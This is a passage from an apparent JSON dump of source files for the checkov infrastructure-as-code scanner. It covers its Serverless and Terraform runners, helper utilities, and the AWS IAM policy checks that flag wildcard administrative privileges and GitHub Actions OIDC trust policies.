    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.cloudformation import cfn_utils\nfrom checkov.cloudformation.context_parser import ContextParser as CfnContextParser\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.serverless.base_registry import EntityDetails\nfrom checkov.serverless.graph_builder.definition_context import build_definitions_context\nfrom checkov.serverless.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.serverless.graph_builder.local_graph import ServerlessLocalGraph\nfrom checkov.serverless.graph_manager import ServerlessGraphManager\nfrom checkov.serverless.parsers.context_parser import ContextParser as SlsContextParser, ContextParser\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry\nfrom checkov.serverless.checks.complete.registry import complete_registry\nfrom checkov.serverless.checks.custom.registry import custom_registry\nfrom checkov.serverless.checks.function.registry import function_registry\nfrom checkov.serverless.checks.layer.registry import layer_registry\nfrom checkov.serverless.checks.package.registry import package_registry\nfrom checkov.serverless.checks.plugin.registry import plugin_registry\nfrom checkov.serverless.checks.provider.registry import provider_registry\nfrom checkov.serverless.checks.service.registry import service_registry\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.serverless.parsers.parser import CFN_RESOURCES_TOKEN\nfrom checkov.serverless.utils import get_scannable_file_paths, get_files_definitions, SLS_FILE_MASK, get_resource_tags\n\nif TYPE_CHECKING:\n    from checkov.common.graph.checks_infra.registry import BaseRegistry\n    from checkov.common.typing import LibraryGraphConnector\n\nMULTI_ITEM_SECTIONS = [\n    (\"functions\", function_registry),\n    (\"layers\", layer_registry)\n]\nSINGLE_ITEM_SECTIONS = [\n    (\"provider\", provider_registry),\n    (\"custom\", custom_registry),\n    (\"package\", package_registry),\n    (\"plugins\", plugin_registry),\n    (\"service\", service_registry)\n]\n\n_ServerlessContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_ServerlessDefinitions: TypeAlias = \"dict[str, dict[str, Any]]\"\n\n\nclass Runner(BaseRunner[_ServerlessDefinitions, _ServerlessContext, ServerlessGraphManager]):\n    check_type = CheckType.SERVERLESS  # noqa: CCE003  # a static attribute\n\n    def __init__(self,\n                 db_connector: LibraryGraphConnector | None = None,\n                 source: str = GraphSource.SERVERLESS,\n                 graph_class: type[ServerlessLocalGraph] = ServerlessLocalGraph,\n                 graph_manager: ServerlessGraphManager | None = None,\n                 external_registries: list[BaseRegistry] | None = None,\n                 ) -> None:\n        super().__init__(file_names=SLS_FILE_MASK)\n\n        db_connector = db_connector or self.db_connector\n        self.external_registries = external_registries if external_registries else []\n        self.graph_class = graph_class\n        self.graph_manager: \"ServerlessGraphManager\" = (\n            graph_manager if graph_manager else ServerlessGraphManager(source=source, db_connector=db_connector)\n        )\n        self.graph_registry = get_graph_checks_registry(self.check_type)\n\n        self.definitions: _ServerlessDefinitions = {}\n        self.definitions_raw: dict[str, list[tuple[int, str]]] = {}\n        self.context: _ServerlessContext | None = None\n        self.root_folder: \"str | None\" = None\n\n    def run(\n            self,\n            root_folder: str | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        self.root_folder = root_folder\n\n        if not self.context or not self.definitions:\n            files_list: list[str] = []\n            filepath_fn = None\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    function_registry.load_external_checks(directory)\n\n            if files:\n                files_list = [file for file in files if os.path.basename(file) in SLS_FILE_MASK]\n\n            if self.root_folder:\n                files_list = get_scannable_file_paths(self.root_folder, runner_filter.excluded_paths)\n\n            definitions, definitions_raw = get_files_definitions(files_list, filepath_fn)\n\n            # Filter out empty files that have not been parsed successfully\n            self.definitions = {k: v for k, v in definitions.items() if v}\n            self.definitions_raw = {k: v for k, v in definitions_raw.items() if k in definitions.keys()}\n            self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n\n            logging.info(\"Creating Serverless graph\")\n            local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions)\n            logging.info(f'Successfully created Serverless graph ({len(local_graph.vertices)} vertices)')\n\n            self.graph_manager.save_graph(local_graph)\n            self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions(\n                vertices=local_graph.vertices,\n                root_folder=root_folder,\n            )\n\n        self.pbar.initiate(len(self.definitions))\n\n        self.add_python_check_results(report, runner_filter)\n\n        return report\n\n    def add_python_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        for sls_file, sls_file_data in self.definitions.items():\n            self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(sls_file, self.root_folder)})\n            if not isinstance(sls_file_data, dict):\n                continue\n\n            sls_context_parser = SlsContextParser(sls_file, sls_file_data, self.definitions_raw[sls_file])\n\n            self.cfn_resources_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser)\n            self.multi_item_sections_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser)\n            self.single_item_sections_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser)\n            self.complete_python_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser)\n\n    def complete_python_checks(self,\n                               sls_file: str,\n                               sls_file_data: dict[str, Any],\n                               report: Report,\n                               runner_filter: RunnerFilter,\n                               sls_context_parser: ContextParser) -> None:\n        # \"Complete\" checks\n        # NOTE: Ignore code content, no point in showing (could be long)\n        file_abs_path = Path(sls_file).absolute()\n        entity_code_lines = self.definitions_raw[sls_file]\n        entity_lines_range = [1, len(entity_code_lines) - 1]\n        skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines or [])\n        variable_evaluations: dict[str, Any] = {}\n        entity = EntityDetails(sls_context_parser.provider_type, sls_file_data)\n        results = complete_registry.scan(sls_file, entity, skipped_checks, runner_filter)\n        tags = cfn_utils.get_resource_tags(entity, complete_registry)  # type:ignore[arg-type]\n        if results:\n            for check, check_result in results.items():\n                record = Record(check_id=check.id, check_name=check.name, check_result=check_result,\n                                code_block=[],  # Don't show, could be large\n                                file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                                file_line_range=entity_lines_range,\n                                resource=\"complete\",  # Weird, not sure what to put where\n                                evaluations=variable_evaluations,\n                                check_class=check.__class__.__module__,\n                                file_abs_path=str(file_abs_path),\n                                entity_tags=tags, severity=check.severity)\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n        else:\n            report.extra_resources.add(\n                ExtraResource(\n                    file_abs_path=str(file_abs_path),\n                    file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                    resource=\"complete\",\n                )\n            )\n\n    def single_item_sections_checks(self,\n                                    sls_file: str,\n                                    sls_file_data: dict[str, Any],\n                                    report: Report,\n                                    runner_filter: RunnerFilter,\n                                    sls_context_parser: ContextParser) -> None:\n        # Sub-sections that are a single item\n        file_abs_path = Path(sls_file).absolute()\n        for token, registry in SINGLE_ITEM_SECTIONS:\n            item_content = sls_file_data.get(token)\n            if not item_content:\n                continue\n            entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(item_content)\n            if not entity_lines_range:\n                entity_code_lines = self.definitions_raw[sls_file]\n                entity_lines_range = [1, len(entity_code_lines) - 1]\n\n            skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines or [])\n            variable_evaluations: dict[str, Any] = {}\n            entity = EntityDetails(sls_context_parser.provider_type, item_content)\n            results = registry.scan(sls_file, entity, skipped_checks, runner_filter)\n            tags = get_resource_tags(entity, registry)\n            fname = Path(sls_context_parser.file(item_content)).resolve()\n\n            if results:\n                for check, check_result in results.items():\n                    censored_code_lines = omit_secret_value_from_checks(\n                        check=check,\n                        check_result=check_result,\n                        entity_code_lines=entity_code_lines or [],\n                        entity_config=item_content,\n                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                    )\n                    record = Record(\n                        check_id=check.id,\n                        check_name=check.name,\n                        check_result=check_result,\n                        code_block=censored_code_lines,\n                        file_path=self.extract_file_path_from_abs_path(fname),\n                        file_line_range=entity_lines_range or [0, 0],\n                        resource=token,\n                        evaluations=variable_evaluations,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=str(file_abs_path),\n                        entity_tags=tags,\n                        severity=check.severity,\n                    )\n                    record.set_guideline(check.guideline)\n                    report.add_record(record=record)\n            else:\n                report.extra_resources.add(\n                    ExtraResource(\n                        file_abs_path=str(file_abs_path),\n                        file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                        resource=token,\n                    )\n                )\n\n    def multi_item_sections_checks(self,\n                                   sls_file: str,\n                                   sls_file_data: dict[str, Any],\n                                   report: Report,\n                                   runner_filter: RunnerFilter,\n                                   sls_context_parser: ContextParser) -> None:\n        # Sub-sections that have multiple items under them\n        file_abs_path = Path(sls_file).absolute()\n        for token, registry in MULTI_ITEM_SECTIONS:\n            template_items = sls_file_data.get(token)\n            if not template_items or not isinstance(template_items, dict):\n                continue\n            for item_name, item_content in template_items.items():\n                if not isinstance(item_content, dict):\n                    continue\n                entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(item_content)\n                if entity_lines_range and entity_code_lines:\n                    skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines)\n                    variable_evaluations: dict[str, Any] = {}\n                    if token == \"functions\":  # nosec\n                        # \"Enriching\" copies things like \"environment\" and \"stackTags\" down into the\n                        # function data from the provider block since logically that's what serverless\n                        # does. This allows checks to see what the complete data would be.\n                        sls_context_parser.enrich_function_with_provider(item_name)\n                    entity = EntityDetails(sls_context_parser.provider_type, item_content)\n                    results = registry.scan(sls_file, entity, skipped_checks, runner_filter)\n                    tags = get_resource_tags(entity, registry)\n                    fname = Path(sls_context_parser.file(item_content)).resolve()\n                    if results:\n                        for check, check_result in results.items():\n                            censored_code_lines = omit_secret_value_from_checks(\n                                check=check,\n                                check_result=check_result,\n                                entity_code_lines=entity_code_lines,\n                                entity_config=item_content,\n                                resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                            )\n                            record = Record(check_id=check.id, check_name=check.name, check_result=check_result,\n                                            code_block=censored_code_lines,\n                                            file_path=self.extract_file_path_from_abs_path(fname),\n                                            file_line_range=entity_lines_range,\n                                            resource=item_name, evaluations=variable_evaluations,\n                                            check_class=check.__class__.__module__,\n                                            file_abs_path=str(file_abs_path),\n                                            entity_tags=tags, severity=check.severity)\n                            record.set_guideline(check.guideline)\n                            report.add_record(record=record)\n                    else:\n                        report.extra_resources.add(\n                            ExtraResource(\n                                file_abs_path=str(file_abs_path),\n                                file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                                resource=item_name,\n                            )\n                        )\n\n    def cfn_resources_checks(self,\n                             sls_file: str,\n                             sls_file_data: dict[str, Any],\n                             report: Report,\n                             runner_filter: RunnerFilter,\n                             sls_context_parser: SlsContextParser) -> None:\n        file_abs_path = Path(sls_file).absolute()\n        if CFN_RESOURCES_TOKEN in sls_file_data and isinstance(sls_file_data[CFN_RESOURCES_TOKEN], dict):\n            cf_sub_template = sls_file_data[CFN_RESOURCES_TOKEN]\n            cf_sub_resources = cf_sub_template.get(\"Resources\")\n            if cf_sub_resources and isinstance(cf_sub_resources, dict):\n                cf_context_parser = CfnContextParser(sls_file, cf_sub_template, self.definitions_raw[sls_file])\n                logging.debug(f\"Template Dump for {sls_file}: {sls_file_data}\")\n                cf_context_parser.evaluate_default_refs()\n                for resource_name, resource in cf_sub_resources.items():\n                    if not isinstance(resource, dict):\n                        continue\n                    cf_resource_id = cf_context_parser.extract_cf_resource_id(resource, resource_name)\n                    if not cf_resource_id:\n                        # Not Type attribute for resource\n                        continue\n                    report.add_resource(f'{file_abs_path}:{cf_resource_id}')\n                    entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(resource)\n                    if entity_lines_range and entity_code_lines:\n                        skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines)\n                        # TODO - Variable Eval Message!\n                        variable_evaluations: dict[str, Any] = {}\n\n                        entity_dict = {resource_name: resource}\n                        results = cfn_registry.scan(sls_file, entity_dict, skipped_checks, runner_filter)\n                        tags = cfn_utils.get_resource_tags(entity_dict, cfn_registry)\n                        if results:\n                            for check, check_result in results.items():\n                                censored_code_lines = omit_secret_value_from_checks(\n                                    check=check,\n                                    check_result=check_result,\n                                    entity_code_lines=entity_code_lines,\n                                    entity_config=resource,\n                                    resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                                )\n                                record = Record(check_id=check.id, bc_check_id=check.bc_id, check_name=check.name,\n                                                check_result=check_result,\n                                                code_block=censored_code_lines,\n                                                file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                                                file_line_range=entity_lines_range,\n                                                resource=cf_resource_id, evaluations=variable_evaluations,\n                                                check_class=check.__class__.__module__,\n                                                file_abs_path=str(file_abs_path),\n                                                entity_tags=tags, severity=check.severity)\n                                record.set_guideline(check.guideline)\n                                report.add_record(record=record)\n                        else:\n                            report.extra_resources.add(\n                                ExtraResource(\n                                    file_abs_path=str(file_abs_path),\n                                    file_path=self.extract_file_path_from_abs_path(Path(sls_file)),\n                                    resource=cf_resource_id,\n                                )\n                            )\n\n    def extract_file_path_from_abs_path(self, path: Path) -> str:\n        return f\"{os.path.sep}{os.path.relpath(path, self.root_folder)}\"\n\n    def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None:\n        self.definitions_raw = definitions_raw\n"
  },
  {
    "path": "checkov/serverless/utils.py",
    "content": "from __future__ import annotations\n\nimport os\nimport logging\nfrom collections.abc import Collection\nfrom enum import Enum\nfrom typing import Callable, Any, Optional\nfrom pathlib import Path\n\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.cloudformation import cfn_utils\nfrom checkov.serverless.parsers.parser import parse\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.serverless.registry import sls_registry\nfrom checkov.serverless.base_registry import ServerlessRegistry, EntityDetails\n\nSLS_FILE_MASK = os.getenv(\n    \"CKV_SLS_FILE_MASK\", \"serverless.yml,serverless.yaml\").split(\",\")\n\n\nclass ServerlessElements(str, Enum):\n    PARAMS = \"params\"\n    FUNCTIONS = \"functions\"\n    PROVIDER = \"provider\"\n    LAYERS = \"layers\"\n    CUSTOM = \"custom\"\n    PACKAGE = \"package\"\n    PLUGINS = \"plugins\"\n    SERVICE = \"service\"\n    RESOURCES = \"resources\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n\n\ndef create_definitions(\n    root_folder: str,\n    files: Collection[Path] | None = None,\n    runner_filter: RunnerFilter | None = None,\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    definitions: dict[str, dict[str, Any]] = {}\n    definitions_raw: dict[str, list[tuple[int, str]]] = {}\n    runner_filter = runner_filter or RunnerFilter()\n\n    if root_folder:\n        file_paths = get_scannable_file_paths(root_folder, runner_filter.excluded_paths)\n        definitions, definitions_raw = get_files_definitions(files=file_paths)\n\n    return definitions, definitions_raw\n\n\ndef get_scannable_file_paths(root_folder: str | None = None, excluded_paths: list[str] | None = None) -> list[str]:\n    files_list: list[str] = []\n\n    if not root_folder:\n        return files_list\n\n    for root, d_names, f_names in os.walk(root_folder):\n        # Don't walk in to \"node_modules\" directories under the root folder. If for some reason\n        # scanning one of these is desired, it can be directly specified.\n        if \"node_modules\" in d_names:\n            d_names.remove(\"node_modules\")\n\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            if file in SLS_FILE_MASK:\n                files_list.append(os.path.join(root, file))\n\n    return files_list\n\n\ndef get_files_definitions(\n        files: list[str], filepath_fn: Callable[[str], str] | None = None\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    results = parallel_runner.run_function(_parallel_parse, files)\n    definitions = {}\n    definitions_raw = {}\n    for file, result in results:\n        if result:\n            path = filepath_fn(file) if filepath_fn else file\n            definitions[path], definitions_raw[path] = result\n\n    return definitions, definitions_raw\n\n\ndef _parallel_parse(f: str) -> tuple[str, tuple[dict[str, Any], list[tuple[int, str]]] | None]:\n    \"\"\"Thin wrapper to return filename with parsed content\"\"\"\n    return f, parse(f)\n\n\ndef get_resource_tags(entity: EntityDetails, registry: ServerlessRegistry = sls_registry) -> Optional[dict[str, str]]:\n    entity_details = registry.extract_entity_details(entity)\n\n    if not entity_details:\n        return None\n\n    entity_config = entity_details[-1]\n\n    if not isinstance(entity_config, dict):\n        return None\n\n    try:\n        tags = entity_config.get(\"tags\")\n        if tags:\n            return cfn_utils.parse_entity_tags(tags)\n    except Exception as e:\n        logging.warning(f\"Failed to parse tags for entity {entity} due to {e}\")\n\n    return None\n"
  },
  {
    "path": "checkov/terraform/__init__.py",
    "content": "from checkov.terraform.checks.resource import *  # noqa\nfrom checkov.terraform.checks.data import *  # noqa\nfrom checkov.terraform.modules import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/base_runner.py",
    "content": "from __future__ import annotations\n\nimport os\nimport platform\nfrom abc import abstractmethod\nfrom typing import Dict, Optional, Any, Set, TYPE_CHECKING, TypeVar, Generic\n\nimport dpath\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import ImageReferencerMixin\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.secrets import omit_secret_value_from_graph_checks\nfrom checkov.common.variables.context import EvaluationContext\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\nfrom checkov.terraform.checks.data.registry import data_registry\nfrom checkov.terraform.checks.module.registry import module_registry\nfrom checkov.terraform.checks.provider.registry import provider_registry\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.image_referencer.manager import TerraformImageReferencerManager\nfrom checkov.terraform.tag_providers import get_resource_tags\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.common.util.env_vars_config import env_vars_config\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n    from checkov.common.checks_infra.registry import Registry\n    from checkov.common.images.image_referencer import Image\n    from checkov.common.typing import LibraryGraphConnector, LibraryGraph\n\n_Context = TypeVar(\"_Context\", bound=\"dict[Any, Any]|None\")\n_Definitions = TypeVar(\"_Definitions\", bound=\"dict[Any, Any]|None\")\n_FilePath = TypeVar(\"_FilePath\")\n\n# Allow the evaluation of empty variables\ndpath.options.ALLOW_EMPTY_STRING_KEYS = True\n\n\nclass BaseTerraformRunner(\n    ImageReferencerMixin[None],\n    BaseRunner[_Definitions, _Context, TerraformGraphManager],\n    Generic[_Definitions, _Context, _FilePath],\n):\n    def __init__(\n        self,\n        parser: TFParser | None = None,\n        db_connector: LibraryGraphConnector | None = None,\n        external_registries: list[BaseRegistry] | None = None,\n        source: str = GraphSource.TERRAFORM,\n        graph_class: type[TerraformLocalGraph] = TerraformLocalGraph,\n        graph_manager: TerraformGraphManager | None = None,\n    ) -> None:\n        super().__init__(file_extensions=[\".tf\", \".hcl\"])\n        self.external_registries = [] if external_registries is None else external_registries\n        self.graph_class = graph_class\n        self.parser = parser or TFParser()\n        self.definitions: _Definitions | None = None\n        self.context: _Context | None = None\n        self.breadcrumbs = None\n        self.evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] = {}\n        self.graph_manager: TerraformGraphManager = (\n            graph_manager\n            if graph_manager is not None\n            else TerraformGraphManager(\n                source=source,\n                db_connector=db_connector or self.db_connector,\n            )\n        )\n        self.graph_registry: Registry = get_graph_checks_registry(self.check_type)\n        self.definitions_with_modules: dict[str, dict[str, Any]] = {}\n        self.referrer_cache: Dict[str, str] = {}\n        self.non_referred_cache: Set[str] = set()\n\n    block_type_registries = {  # noqa: CCE003  # a static attribute\n        \"resource\": resource_registry,\n        \"data\": data_registry,\n        \"provider\": provider_registry,\n        \"module\": module_registry,\n    }\n\n    @abstractmethod\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        pass\n\n    def load_external_checks(self, external_checks_dir: list[str] | None) -> None:\n        if external_checks_dir:\n            for directory in external_checks_dir:\n                resource_registry.load_external_checks(directory)\n                self.graph_registry.load_external_checks(directory)\n\n    def _get_connected_node_data(self, connected_node: dict[str, Any], root_folder: str | None) \\\n            -> Optional[Dict[str, Any]]:\n        if not connected_node:\n            return None\n        connected_entity_context = self.get_entity_context_and_evaluations(connected_node)\n        if not connected_entity_context:\n            return None\n        full_file_path = connected_node[CustomAttributes.FILE_PATH]\n        connected_node_data = {}\n        connected_node_data[\"code_block\"] = connected_entity_context.get(\"code_lines\")\n        connected_node_data[\"file_path\"] = f\"{os.sep}{os.path.relpath(full_file_path, root_folder)}\"\n        connected_node_data[\"file_line_range\"] = [\n            connected_entity_context.get(\"start_line\"),\n            connected_entity_context.get(\"end_line\"),\n        ]\n        connected_node_data[\"resource\"] = \".\".join(connected_entity_context[\"definition_path\"])\n        connected_node_data[\"entity_tags\"] = connected_node.get(\"tags\", {})\n        connected_node_data[\"evaluations\"] = None\n        connected_node_data[\"file_abs_path\"] = os.path.abspath(full_file_path)\n        connected_node_data[\"resource_address\"] = connected_entity_context.get(\"address\")\n        return connected_node_data\n\n    def get_graph_checks_report(\n        self, root_folder: str | None, runner_filter: RunnerFilter, graph: LibraryGraph | None = None\n    ) -> Report:\n        report = Report(self.check_type)\n        checks_results = self.run_graph_checks_results(runner_filter, self.check_type, graph)\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_context = self.get_entity_context_and_evaluations(entity)\n                virtual_resources = entity.get(CustomAttributes.CONFIG, {}).get('virtual_resources')\n                if (env_vars_config.RAW_TF_IN_GRAPH_ENV and virtual_resources\n                        and isinstance(virtual_resources, list) and len(virtual_resources) > 0):\n                    # We want to skip violations for raw TF resources and keep only virtual one's. The raw resource\n                    # should have an array of attached virtual resources so we check it and skip if needed\n                    continue\n                if entity_context:\n                    full_file_path = entity[CustomAttributes.FILE_PATH]\n                    copy_of_check_result = pickle_deepcopy(check_result)\n                    for skipped_check in entity_context.get(\"skipped_checks\", []):\n                        if skipped_check[\"id\"] == check.id:\n                            copy_of_check_result[\"result\"] = CheckResult.SKIPPED\n                            copy_of_check_result[\"suppress_comment\"] = skipped_check[\"suppress_comment\"]\n                            break\n                    copy_of_check_result[\"entity\"] = entity[CustomAttributes.CONFIG]\n                    connected_node_data = self._get_connected_node_data(entity.get(CustomAttributes.CONNECTED_NODE),  # type: ignore\n                                                                        root_folder)\n                    if platform.system() == \"Windows\":\n                        root_folder = os.path.split(full_file_path)[0]\n                    resource_id = \".\".join(entity_context[\"definition_path\"])\n                    resource = resource_id\n                    definition_context_file_path = full_file_path\n                    if (\n                        entity.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n                        and entity.get(CustomAttributes.TF_RESOURCE_ADDRESS) != resource_id\n                    ):\n                        # for plan resources\n                        resource = entity[CustomAttributes.TF_RESOURCE_ADDRESS]\n                    entity_config = self.get_graph_resource_entity_config(entity)\n                    censored_code_lines = omit_secret_value_from_graph_checks(\n                        check=check,\n                        check_result=check_result,\n                        entity_code_lines=entity_context.get(\"code_lines\", []),\n                        entity_config=entity_config,\n                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit,\n                    )\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=copy_of_check_result,\n                        code_block=censored_code_lines,\n                        file_path=f\"{os.sep}{os.path.relpath(full_file_path, root_folder)}\",\n                        file_line_range=[\n                            entity_context.get(\"start_line\", 1),\n                            entity_context.get(\"end_line\", 1),\n                        ],\n                        resource=resource,\n                        entity_tags=get_resource_tags(resource, entity_config),\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=os.path.abspath(full_file_path),\n                        resource_address=entity_context.get(\"address\"),\n                        severity=check.severity,\n                        bc_category=check.bc_category,\n                        benchmarks=check.benchmarks,\n                        connected_node=connected_node_data,\n                        definition_context_file_path=definition_context_file_path,\n                    )\n                    if self.breadcrumbs:\n                        breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(resource)\n                        if breadcrumb:\n                            record = GraphRecord(record, breadcrumb)\n                    record.set_guideline(check.guideline)\n                    report.add_record(record=record)\n        return report\n\n    @abstractmethod\n    def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None:\n        pass\n\n    @abstractmethod\n    def run_block(\n        self,\n        entities: list[dict[str, Any]],\n        definition_context: _Context,\n        full_file_path: _FilePath,\n        root_folder: str,\n        report: Report,\n        scanned_file: str,\n        block_type: str,\n        runner_filter: RunnerFilter,\n        entity_context_path_header: str | None = None,\n        module_referrer: str | None = None,\n    ) -> None:\n        pass\n\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: dict[str, dict[str, Any] | list[dict[str, Any]]] | None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None,\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = TerraformImageReferencerManager(graph_connector=graph_connector)\n        images = manager.extract_images_from_resources()\n\n        return images\n\n    @staticmethod\n    def get_graph_resource_entity_config(entity: dict[str, Any]) -> dict[str, Any]:\n        context_parser = parser_registry.context_parsers[entity[CustomAttributes.BLOCK_TYPE]]\n        entity_config: dict[str, Any] = entity[CustomAttributes.CONFIG]\n        definition_path = context_parser.get_entity_definition_path(entity_config)\n        for path in definition_path:\n            entity_config = entity_config[path]\n        return entity_config\n"
  },
  {
    "path": "checkov/terraform/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/checks/data/__init__.py",
    "content": "from checkov.terraform.checks.data.aws import *  # noqa\nfrom checkov.terraform.checks.data.gcp import *  # noqa\nfrom checkov.terraform.checks.data.external import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/AdminPolicyDocument.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AdminPolicyDocument(BaseDataCheck):\n    def __init__(self) -> None:\n        name = 'Ensure IAM policies that allow full \"*-*\" administrative privileges are not created'\n        id = \"CKV_AWS_1\"\n        supported_data = [\"aws_iam_policy_document\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n            validates iam policy document\n            https://learn.hashicorp.com/terraform/aws/iam-policy\n        :param conf: aws_kms_key configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        for statement in conf.get(\"statement\", []):\n            if not isinstance(statement, list):\n                statement = [statement]\n            for stmt in statement:\n                if (\n                    isinstance(stmt, dict)\n                    and stmt.get(\"effect\", [\"Allow\"]) == [\"Allow\"]\n                    and stmt.get(\"actions\")\n                    and \"*\" in force_list(stmt[\"actions\"][0])\n                    and stmt.get(\"resources\")\n                    and \"*\" in force_list(stmt[\"resources\"][0])\n                ):\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = AdminPolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py",
    "content": "from typing import Dict, List, Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex, gh_sub_condition\n\n\nclass GithubActionsOIDCTrustPolicy(BaseDataCheck):\n    def __init__(self):\n        name = \"Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order\"\n        id = \"CKV_AWS_358\"\n        supported_data = (\"aws_iam_policy_document\",)\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        statements = force_list(conf.get(\"statement\"))\n        for statement in statements:\n            found_federated_gh_oidc = False\n            if isinstance(statement, dict):\n                if statement.get(\"principals\"):\n                    principals = statement[\"principals\"]\n                    for principal in force_list(principals):\n                        if \"type\" not in principal and \"identifiers\" not in principal:\n                            continue\n                        principal_type = principal[\"type\"]\n                        